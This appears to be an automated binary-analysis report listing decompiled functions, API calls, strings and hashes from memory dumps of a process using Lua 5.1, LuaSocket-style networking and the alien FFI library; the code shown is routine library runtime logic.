Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: strchr$D_growstack.lua_getinfo.lua_getstack.lua_pushfstring.lua_pushlstring.
String ID: %s:%d:
API String ID: 482154976-2688275532
Opcode ID: 98809ac28d3a6b7578631f77cddceed1af574037984dbc11690e4aa25e6fdf89
Instruction ID: c9e2aba0d979d5a9bedc80e69ae400b0c98800beffabe599b207f6c5ef9aa643
Opcode Fuzzy Hash: 98809ac28d3a6b7578631f77cddceed1af574037984dbc11690e4aa25e6fdf89
Instruction Fuzzy Hash: DBF082BA9042103BE200D618AC52EEB73DDEF94184F844929FD489610BF721FB5987EB

Uniqueness

Uniqueness Score: -1.00%

Function 00591A40, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00591A40(intOrPtr _a4) {
				intOrPtr _t9;

				_t9 = _a4;
				E00591010(_t9, "tcp{master}", 0x596118);
				E00591010(_t9, "tcp{client}", 0x596118);
				E00591010(_t9, "tcp{server}", 0x596118);
				E00591180(_t9, "tcp{master}", "tcp{any}");
				E00591180(_t9, "tcp{client}", "tcp{any}");
				E00591180(_t9, "tcp{server}", "tcp{any}");
				_push(0);
				_push(0x5961f0);
				_push(0);
				_push(_t9);
				L00594B48();
				return 0;
			}

0x00591a41
0x00591a50
0x00591a60
0x00591a70
0x00591a80
0x00591a90
0x00591aa0
0x00591aa8
0x00591aaa
0x00591aaf
0x00591ab1
0x00591ab2
0x00591abd

APIs

Part of subcall function 00591010: luaL_newmetatable.LUA5.1(?,?), ref: 0059101C
Part of subcall function 00591010: lua_pushstring.LUA5.1(?,__index,?,?), ref: 00591027
Part of subcall function 00591010: lua_createtable.LUA5.1(?,00000000,00000000,?,__index,?,?), ref: 00591031
Part of subcall function 00591010: lua_pushstring.LUA5.1(?,class,?,00000000,00000000,?,__index,?,?), ref: 0059103C
Part of subcall function 00591010: lua_pushstring.LUA5.1(?,?,?,class,?,00000000,00000000,?,__index,?,?), ref: 00591043
Part of subcall function 00591010: lua_rawset.LUA5.1(?,000000FD,?,?,?,class,?,00000000,00000000,?,__index,?,?), ref: 0059104B
Part of subcall function 00591010: lua_pushstring.LUA5.1(?,00000000), ref: 0059105F
Part of subcall function 00591010: lua_pushcclosure.LUA5.1(?,?,00000000,?,00000000), ref: 0059106B
Part of subcall function 00591010: lua_rawset.LUA5.1(?,?,?,?,00000000,?,00000000), ref: 00591083
Part of subcall function 00591010: lua_rawset.LUA5.1(?,000000FD), ref: 00591098
Part of subcall function 00591010: lua_settop.LUA5.1(?,000000FE,?,000000FD), ref: 005910A0

Part of subcall function 00591180: lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 00591190
Part of subcall function 00591180: lua_pushstring.LUA5.1(?,?,?,FFFFD8F0,?), ref: 0059119B
Part of subcall function 00591180: lua_pushboolean.LUA5.1(?,00000001,?,?,?,FFFFD8F0,?), ref: 005911A3
Part of subcall function 00591180: lua_rawset.LUA5.1(?,000000FD,?,00000001,?,?,?,FFFFD8F0,?), ref: 005911AB
Part of subcall function 00591180: lua_settop.LUA5.1(?,000000FE,?,000000FD,?,00000001,?,?,?,FFFFD8F0,?), ref: 005911B3

luaL_openlib.LUA5.1(?,00000000,005961F0,00000000), ref: 00591AB2

Strings

tcp{client}, xrefs: 00591A5A, 00591A8A
tcp{any}, xrefs: 00591A75, 00591A85, 00591A95
tcp{master}, xrefs: 00591A4A, 00591A7A
tcp{server}, xrefs: 00591A6A, 00591A9A

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushstring.$lua_rawset.$lua_settop.$L_newmetatable.L_openlib.lua_createtable.lua_getfield.lua_pushboolean.lua_pushcclosure.
String ID: tcp{any}$tcp{client}$tcp{master}$tcp{server}
API String ID: 2552940023-428066678
Opcode ID: 7db143ad3cf2256df9e3892458057027af71e07ad7e69a140e9dd386632b13d2
Instruction ID: 212602a6f19d025fb8486bff7d320ab901e071a6e5a5914259b4a5b7fad1f19d
Opcode Fuzzy Hash: 7db143ad3cf2256df9e3892458057027af71e07ad7e69a140e9dd386632b13d2
Instruction Fuzzy Hash: 7FF045617C5B3331DD5132205E0BF8A1D487E96B85E114941F540321D79BDA265E60EE

Uniqueness

Uniqueness Score: -1.00%

Function 10016250, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000), ref: 10016257
FormatMessageA.KERNEL32(00001200,00000000,00000000,00000000,?,00000080,00000000), ref: 10016275
lua_pushstring.LUA5.1(?,?), ref: 1001628C

Part of subcall function 10001980: lua_pushnil.LUA5.1(?), ref: 1000198D

lua_pushfstring.LUA5.1(?,system error %d,00000000), ref: 100162AA

Strings

system error %d, xrefs: 100162A4

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFormatLastMessagelua_pushfstring.lua_pushnil.lua_pushstring.
String ID: system error %d
API String ID: 4189104124-1688351658
Opcode ID: ced932b2ebe922aceb86740f67fa2e53711e9dd1abc93ad9e036c1d76146156a
Instruction ID: e93c7caf6d80027e6fce571d7c7a84bc0fac63e123047623dcf05784b940fba3
Opcode Fuzzy Hash: ced932b2ebe922aceb86740f67fa2e53711e9dd1abc93ad9e036c1d76146156a
Instruction Fuzzy Hash: 2DF08C7964021077F660D7149C46FEB37A8BB897D4F848528FA8CCA1C1EE38A54C83A6

Uniqueness

Uniqueness Score: -1.00%

Function 005E2910, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E005E2910(intOrPtr _a4) {
				void* __ebx;
				void* __esi;
				void* _t3;
				struct HINSTANCE__* _t5;
				struct HINSTANCE__** _t9;
				void* _t10;
				intOrPtr _t11;
				void* _t12;
				void* _t13;

				_t11 = _a4;
				_t9 = E005E1110(_t3, 1, _t11, "alien_library");
				_t13 = _t12 + 4;
				if(_t9 == 0) {
					_push("alien library expected");
					_push(1);
					_push(_t11);
					L005E3F14();
					_t13 = _t13 + 0xc;
				}
				_t5 =  *_t9;
				if(_t5 != 0) {
					FreeLibrary(_t5);
					_t10 = _t9[1];
					if(_t10 != 0) {
						free(_t10);
					}
				}
				return 0;
			}

0x005e2912
0x005e2926
0x005e2928
0x005e292d
0x005e292f
0x005e2934
0x005e2935
0x005e2936
0x005e293b
0x005e293b
0x005e293e
0x005e2942
0x005e2945
0x005e294b
0x005e2950
0x005e2953
0x005e2959
0x005e2950
0x005e2961

APIs

Part of subcall function 005E1110: lua_touserdata.LUA5.1(?,00000001,?,005E1390,alien_library), ref: 005E1113
Part of subcall function 005E1110: lua_getmetatable.LUA5.1(?,00000001,alien_library), ref: 005E1123
Part of subcall function 005E1110: lua_getfield.LUA5.1(?,FFFFD8F0,?,?,?,alien_library), ref: 005E113A
Part of subcall function 005E1110: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?,?,?,alien_library), ref: 005E1144
Part of subcall function 005E1110: lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E1153

luaL_argerror.LUA5.1(?,00000001,alien library expected), ref: 005E2936
FreeLibrary.KERNEL32(00000000), ref: 005E2945
free.MSVCR80(?), ref: 005E2953

Strings

alien library expected, xrefs: 005E292F
alien_library, xrefs: 005E2917

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeL_argerror.Libraryfreelua_getfield.lua_getmetatable.lua_rawequal.lua_settop.lua_touserdata.
String ID: alien library expected$alien_library
API String ID: 2846885650-1088627394
Opcode ID: 9a0e71bbb232a971fdff55b3dc9e10c0555b5edd0c71eeb46e63a1c79de78fb6
Instruction ID: d04e91c4ba1c726a18bf33c91db34d59c68e992f243d1baec7ecd37f5d7c208c
Opcode Fuzzy Hash: 9a0e71bbb232a971fdff55b3dc9e10c0555b5edd0c71eeb46e63a1c79de78fb6
Instruction Fuzzy Hash: 88E0E5B6600681ABD30816265C49A1B7B6CFFC0764F440028F9D4D7202E624DD5182A1

Uniqueness

Uniqueness Score: -1.00%

Function 005E2ED0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E005E2ED0(intOrPtr _a4) {
				void* __ebx;
				void* __esi;
				void* _t2;
				void* _t3;
				void* _t7;
				intOrPtr _t9;
				void* _t10;
				void* _t11;

				_t9 = _a4;
				_t3 = E005E1110(_t2, 1, _t9, "alien_buffer");
				_t7 = _t3;
				_t11 = _t10 + 4;
				if(_t7 == 0) {
					_push("alien buffer expected");
					_push(1);
					_push(_t9);
					L005E3F14();
					_t11 = _t11 + 0xc;
				}
				_push(1);
				_push(2);
				_push(_t9);
				L005E3FC2();
				_push(_t7 + _t3 - 1);
				_push(_t9);
				L005E3F7A();
				return 1;
			}

0x005e2ed2
0x005e2ee1
0x005e2ee6
0x005e2ee8
0x005e2eed
0x005e2eef
0x005e2ef4
0x005e2ef5
0x005e2ef6
0x005e2efb
0x005e2efb
0x005e2efe
0x005e2f00
0x005e2f02
0x005e2f03
0x005e2f0d
0x005e2f0e
0x005e2f0f
0x005e2f1c

APIs

Part of subcall function 005E1110: lua_touserdata.LUA5.1(?,00000001,?,005E1390,alien_library), ref: 005E1113
Part of subcall function 005E1110: lua_getmetatable.LUA5.1(?,00000001,alien_library), ref: 005E1123
Part of subcall function 005E1110: lua_getfield.LUA5.1(?,FFFFD8F0,?,?,?,alien_library), ref: 005E113A
Part of subcall function 005E1110: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?,?,?,alien_library), ref: 005E1144
Part of subcall function 005E1110: lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E1153

luaL_argerror.LUA5.1(?,00000001,alien buffer expected), ref: 005E2EF6
luaL_optinteger.LUA5.1(?,00000002,00000001), ref: 005E2F03
lua_pushlightuserdata.LUA5.1(?,00000000,?,00000002,00000001), ref: 005E2F0F

Strings

alien buffer expected, xrefs: 005E2EEF
alien_buffer, xrefs: 005E2ED7

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_optinteger.lua_getfield.lua_getmetatable.lua_pushlightuserdata.lua_rawequal.lua_settop.lua_touserdata.
String ID: alien buffer expected$alien_buffer
API String ID: 1763071720-566560685
Opcode ID: e7c6195abae0c4af523e8a8ce16411613defe1c197e2121d494d313b22f1cd7f
Instruction ID: 6d8e847bd63aead55cf002231c5af5bc4e9b23258a18a02682b046c844f3368e
Opcode Fuzzy Hash: e7c6195abae0c4af523e8a8ce16411613defe1c197e2121d494d313b22f1cd7f
Instruction Fuzzy Hash: D0E0DFA3A416A236E70921261C4BF9F1D6DEBC27A0F090024F984A3242F9A94E1142F6

Uniqueness

Uniqueness Score: -1.00%

Function 10016600, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 1001660F
luaL_gsub.LUA5.1(?,100165CF,1001939C,1001A93C), ref: 1001662F
lua_pushfstring.LUA5.1(?,luaopen_%s,00000000,?,100165CF,1001939C,1001A93C), ref: 1001663B
lua_remove.LUA5.1(?,000000FE,?,luaopen_%s,00000000,?,100165CF,1001939C,1001A93C), ref: 10016645

Strings

luaopen_%s, xrefs: 10016635

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_gsub.lua_pushfstring.lua_remove.strchr
String ID: luaopen_%s
API String ID: 2483102839-885815835
Opcode ID: 1c325af117d3387dfb18411f1f2c5d14333f1b46704f7267492c5a04af2ca2ba
Instruction ID: 6b9ed3e92a8066da3ad4c3533a0a8322189042e68551ef85ca957c2446f47897
Opcode Fuzzy Hash: 1c325af117d3387dfb18411f1f2c5d14333f1b46704f7267492c5a04af2ca2ba
Instruction Fuzzy Hash: 2EE06D2A9091313A9A01D6691C04DEB26EDDE8E1A170A4125FB14E7143DA34FAC683A5

Uniqueness

Uniqueness Score: -1.00%

Function 005914C0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 29
networkCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E005914C0() {
				char _v4;
				intOrPtr _t11;
				char* _t13;

				_v4 = 0;
				if(gethostname(_t13, 0x100) >= 0) {
					_push(_t13);
					_push(_v4);
					L00594AD0();
					return 1;
				} else {
					_t11 = _v4;
					_push(_t11);
					L00594B4E();
					_push("gethostname failed");
					_push(_t11);
					L00594AD0();
					return 2;
				}
			}

0x005914d0
0x005914df
0x00591515
0x00591516
0x00591517
0x0059152a
0x005914e1
0x005914e2
0x005914e9
0x005914ea
0x005914ef
0x005914f4
0x005914f5
0x00591509
0x00591509

APIs

gethostname.WSOCK32 ref: 005914D8
lua_pushnil.LUA5.1(?), ref: 005914EA
lua_pushstring.LUA5.1(?,gethostname failed,?), ref: 005914F5
lua_pushstring.LUA5.1(?), ref: 00591517

Strings

gethostname failed, xrefs: 005914EF

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushstring.$gethostnamelua_pushnil.
String ID: gethostname failed
API String ID: 3170778249-1933209611
Opcode ID: 87fcdf516f439548d6d8e5f0c2b109e9ce0380eb2f947ef53c080c71e6f713dd
Instruction ID: e1859f1b432ed50b9fd36f6381191b1b2bcc2539fcf2f8e143e9a511b1ad45f5
Opcode Fuzzy Hash: 87fcdf516f439548d6d8e5f0c2b109e9ce0380eb2f947ef53c080c71e6f713dd
Instruction Fuzzy Hash: 6FF0ECB550815117EB20F314DC86FEB37897FE4308F444018F5C852181F6B95999879B

Uniqueness

Uniqueness Score: -1.00%

Function 10010850, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

luaL_optlstring.LUA5.1(?,00000002,=(load),00000000), ref: 10010860

Part of subcall function 1000F4E0: lua_type.LUA5.1(?,?,?,?,1000F27E,?,?,?,00000000), ref: 1000F4EC

luaL_checktype.LUA5.1(?,00000001,00000006,?,00000002,=(load),00000000), ref: 1001086C

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

lua_settop.LUA5.1(?,00000003,?,00000001,00000006,?,00000002,=(load),00000000), ref: 10010874
lua_load.LUA5.1(?,100108A0,00000000,00000000,?,00000003,?,00000001,00000006,?,00000002,=(load),00000000), ref: 10010882

Strings

=(load), xrefs: 10010858

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_checktype.L_optlstring.lua_load.lua_settop.
String ID: =(load)
API String ID: 3616000223-2325116534
Opcode ID: fb97479a6e84a16a01c911deca0c029b79d6310752b7369054dd2c2b77d7f2a9
Instruction ID: 101472424674221819ad4eb460c31d044e6b08e1645fb74708f9719a9a3292be
Opcode Fuzzy Hash: fb97479a6e84a16a01c911deca0c029b79d6310752b7369054dd2c2b77d7f2a9
Instruction Fuzzy Hash: B8E0123978562031F532D124AC07FDF014CCF86B94F004015B740BF1C65AE57A8241FD

Uniqueness

Uniqueness Score: -1.00%

Function 10013BD0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

luaL_optlstring.LUA5.1(?,00000001,00000000,00000000), ref: 10013BDD

Part of subcall function 1000F4E0: lua_type.LUA5.1(?,?,?,?,1000F27E,?,?,?,00000000), ref: 1000F4EC

luaL_checkoption.LUA5.1(?,00000002,all,100178E0,?,00000001,00000000,00000000), ref: 10013BF1

Part of subcall function 1000F260: luaL_optlstring.LUA5.1(?,?,?,00000000), ref: 1000F279
Part of subcall function 1000F260: lua_pushfstring.LUA5.1(?,invalid option '%s',00000000), ref: 1000F2EA
Part of subcall function 1000F260: luaL_argerror.LUA5.1(?,?,00000000,?,invalid option '%s',00000000), ref: 1000F2F6

setlocale.MSVCRT ref: 10013BFF
lua_pushstring.LUA5.1(?,00000000), ref: 10013C07

Part of subcall function 10001980: lua_pushnil.LUA5.1(?), ref: 1000198D

Strings

all, xrefs: 10013BE7

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_optlstring.$L_argerror.L_checkoption.lua_pushfstring.lua_pushnil.lua_pushstring.lua_type.setlocale
String ID: all
API String ID: 702004227-991457757
Opcode ID: 17330bdcb0df8a1161f89eb5312c7d8173d302714a259f6c0ac96349cefb02de
Instruction ID: e0f228ed3a533b7e668ebe8e1a97037ac2249d63a1e565499139d0a28d436096
Opcode Fuzzy Hash: 17330bdcb0df8a1161f89eb5312c7d8173d302714a259f6c0ac96349cefb02de
Instruction Fuzzy Hash: BCE0863969112033F62092A89C4BFDB226CDB86790F104414F604AB181CAB4F88282B4

Uniqueness

Uniqueness Score: -1.00%

Function 10010350, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

luaL_checkany.LUA5.1(?,00000001), ref: 10010358

Part of subcall function 1000F470: lua_type.LUA5.1(?,?), ref: 1000F47C
Part of subcall function 1000F470: luaL_argerror.LUA5.1(?,?,value expected), ref: 1000F490

lua_getmetatable.LUA5.1(?,00000001,?,00000001), ref: 10010360
lua_pushnil.LUA5.1(?), ref: 1001036D
luaL_getmetafield.LUA5.1(?,00000001,__metatable), ref: 10010384

Strings

__metatable, xrefs: 1001037C

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checkany.L_getmetafield.lua_getmetatable.lua_pushnil.lua_type.
String ID: __metatable
API String ID: 3653713887-377347451
Opcode ID: 4279e3690a990331348fa4708473050f0156b198b7ec640cbb0dab8c926fff86
Instruction ID: 516dd05b8b49c6df0bbcdee9bdde4c2092467e3366ba3d01ff347f8cce8fcb88
Opcode Fuzzy Hash: 4279e3690a990331348fa4708473050f0156b198b7ec640cbb0dab8c926fff86
Instruction Fuzzy Hash: C1E0127EA6562032F911A1287C43FCB2149CF417D8F054064FA0469286E7D6BBD201D6

Uniqueness

Uniqueness Score: -1.00%

Function 1000F180, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

lua_type.LUA5.1(?,?), ref: 1000F18C
lua_typename.LUA5.1(?,00000000,?,?), ref: 1000F193
lua_pushfstring.LUA5.1(?,%s expected, got %s,?,00000000,?,00000000,?,?), ref: 1000F1A4
luaL_argerror.LUA5.1(?,?,00000000,?,%s expected, got %s,?,00000000,?,00000000,?,?), ref: 1000F1AC

Part of subcall function 1000F090: lua_getstack.LUA5.1(?,00000000), ref: 1000F0A0
Part of subcall function 1000F090: luaL_error.LUA5.1(?,bad argument #%d (%s),?,?), ref: 1000F0BC

Strings

%s expected, got %s, xrefs: 1000F19E

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_error.lua_getstack.lua_pushfstring.lua_type.lua_typename.
String ID: %s expected, got %s
API String ID: 3974032844-156976391
Opcode ID: 54356eb0cbc98da98f3fe1d8df4301ef740b1f1aa77246921bc4d287ad227972
Instruction ID: 6eab1d3a9ff1e3fa061882e2940ab3c3c21328b31aec66a2c5f9997f8e871ba7
Opcode Fuzzy Hash: 54356eb0cbc98da98f3fe1d8df4301ef740b1f1aa77246921bc4d287ad227972
Instruction Fuzzy Hash: 54D05E7B4055213B6101E62AAC01EEF66ACDFCA2D4B08081DF604E7127D724BE8283FB

Uniqueness

Uniqueness Score: -1.00%

Function 10011380, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000002,00000005), ref: 1001138A

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

lua_settop.LUA5.1(?,00000002,?,00000002,00000005), ref: 10011392
lua_setfenv.LUA5.1(?,00000001,?,00000002,?,00000002,00000005), ref: 1001139A
luaL_error.LUA5.1(?,'setfenv' cannot change environment of given object), ref: 100113AC

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

Strings

'setfenv' cannot change environment of given object, xrefs: 100113A6

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checktype.L_error.L_where.lua_concat.lua_error.lua_pushvfstring.lua_setfenv.lua_settop.lua_type.
String ID: 'setfenv' cannot change environment of given object
API String ID: 547986150-2037046198
Opcode ID: 4dbb8981afa2e5eefe6fa3fb54fdd58bd6fefe325c6a3b43543090f39ad9c031
Instruction ID: 36c572273ab46a5c28f059f80280f66f434e3d8f1df0704fa713262dac3c3287
Opcode Fuzzy Hash: 4dbb8981afa2e5eefe6fa3fb54fdd58bd6fefe325c6a3b43543090f39ad9c031
Instruction Fuzzy Hash: E2D05E3D75162131F011E1146C07FCF10888F027C8F414024FA00791CBF69ABAD201EE

Uniqueness

Uniqueness Score: -1.00%

Function 00591350, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E00591350(intOrPtr _a4) {
				intOrPtr _t3;

				_t3 = _a4;
				_push("dns");
				_push(_t3);
				L00594AD0();
				_push(0);
				_push(0);
				_push(_t3);
				L00594ACA();
				_push(0);
				_push(0x596070);
				_push(0);
				_push(_t3);
				L00594B48();
				_push(0xfffffffd);
				_push(_t3);
				L00594B42();
				return 0;
			}

0x00591351
0x00591355
0x0059135a
0x0059135b
0x00591360
0x00591362
0x00591364
0x00591365
0x0059136a
0x0059136c
0x00591371
0x00591373
0x00591374
0x00591379
0x0059137b
0x0059137c
0x00591387

APIs

lua_pushstring.LUA5.1(?,dns), ref: 0059135B
lua_createtable.LUA5.1(?,00000000,00000000,?,dns), ref: 00591365
luaL_openlib.LUA5.1(?,00000000,00596070,00000000,?,00000000,00000000,?,dns), ref: 00591374
lua_settable.LUA5.1(?,000000FD,?,00000000,00596070,00000000,?,00000000,00000000,?,dns), ref: 0059137C

Strings

dns, xrefs: 00591355

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_openlib.lua_createtable.lua_pushstring.lua_settable.
String ID: dns
API String ID: 1217499678-2196626497
Opcode ID: 40d9d7fd9ceda3ec2f32788a57f27f8499c9ca83b22affc20e55b57c799220b2
Instruction ID: 57ddc58a5f3fdb250d1cb543c2d588e9bf154dfc4ba573b59ed41325569cd819
Opcode Fuzzy Hash: 40d9d7fd9ceda3ec2f32788a57f27f8499c9ca83b22affc20e55b57c799220b2
Instruction Fuzzy Hash: 89D0C9317CA73235ECA176342C4BFCE59497F96BA1F291200F611760C1DA88BA531AEF

Uniqueness

Uniqueness Score: -1.00%

Function 10015640, Relevance: 7.6, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

lua_tolstring.LUA5.1(?,FFFFD8ED,?), ref: 1001565C
lua_tolstring.LUA5.1(?,FFFFD8EC,00000000,?,FFFFD8ED,?), ref: 1001566B
lua_tointeger.LUA5.1(?,FFFFD8EB,?,FFFFD8EC,00000000,?,FFFFD8ED,?), ref: 1001568C
lua_pushinteger.LUA5.1(?,00000000,?,00000000,?), ref: 100156E2
lua_replace.LUA5.1(?,FFFFD8EB,?,00000000,?,00000000,?), ref: 100156ED

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
